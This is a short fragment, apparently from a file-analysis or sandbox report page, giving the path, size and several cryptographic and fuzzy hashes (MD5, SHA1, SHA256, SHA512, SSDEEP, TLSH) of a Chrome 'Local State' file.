Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 8e37e54e5bd31fe854581b32598b3eaece38fa1d7246a902d212c0a664c5860b
MD5 499d21c84eb424019eaa5ce0498de350
SHA1 9a4ffbaa4631c26cbcd92d551057d50bdbebfe40
SHA512 9b376cf20aa6d8b7a1c97776dc1ed48296b7dc4533555267fea0cbd40c9e24a92298a5376a0a5a0bcca2d87f60c7d72af805a3f674c8aeeb2427705b4439acdd
SSDEEP 1536:F5xtyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbz:1zqfd7NtZL8cHQRZEQ6Spsk
TLSH
T1FAC30237ABC61E339ED2CB74B9130ED797B644A99034D301AB6D37FB6883895748249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download